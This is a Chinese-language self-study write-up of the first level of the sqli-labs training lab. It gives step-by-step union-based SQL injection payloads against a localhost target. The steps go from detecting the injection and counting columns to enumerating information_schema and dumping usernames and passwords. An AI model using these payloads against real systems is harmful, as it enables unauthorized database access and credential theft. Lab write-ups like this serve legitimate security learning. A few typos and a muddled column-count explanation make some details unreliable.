【网安自学/web漏洞-day01】sqli-labs第一关

Less-1 **Error Based- String**

  1. 原sql为 select * from users where id=1; 判断是否为字符型注入 select * form users where id='1’'
  2. 若界面改变则为字符型注入,猜列名的数量:select * from users where id='1'' order by 5--+

(可以使用二分法进行) ;若为5的时候界面错误,4的时候界面不会报错了说明有三列

  1. 猜显示的位置:
    1.  
      select * from users where id='-1'' union select 1,2,3--+

    2.  (http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3--+)
    3. 显示的数字即是对应的位置。
    4. 【网安自学/web漏洞-day01】sqli-labs第一关_第1张图片

  2. 信息收集:
    1. 数据库版本:version()
    2. 数据库名称:database()
    3. 数据库用户:user()
    4. 操作系统:@@verson_compile_os
  3. 根据显示的位置查询数据库下的表名、操作系统信息
    1. select * from users where id=-1' union select 1,version(),database()--+ http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,version(),database()--+
    2. 查询到现在使用的数据库为”security”
    3.     【网安自学/web漏洞-day01】sqli-labs第一关_第2张图片

  4. 查询一个指定的数据库名下的表名信息(根据显示位):
    1. http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),null from information_schema.tables where table_schema='security'--+
    2. 查询到security数据库下有四个表,其中users可能是我们想要的敏感信息
      • 【网安自学/web漏洞-day01】sqli-labs第一关_第3张图片

  5. 查询users表。
    1. http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
    2. 查询到users表下有:id,username,password,level字段
    3. 【网安自学/web漏洞-day01】sqli-labs第一关_第4张图片

  6. 查询users下的username、password字段
    1. http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username),3 from security.users--+
    2. 【网安自学/web漏洞-day01】sqli-labs第一关_第5张图片

  7. 同理搜索password
    1. 【网安自学/web漏洞-day01】sqli-labs第一关_第6张图片

你可能感兴趣的:(sqli-labs,sql)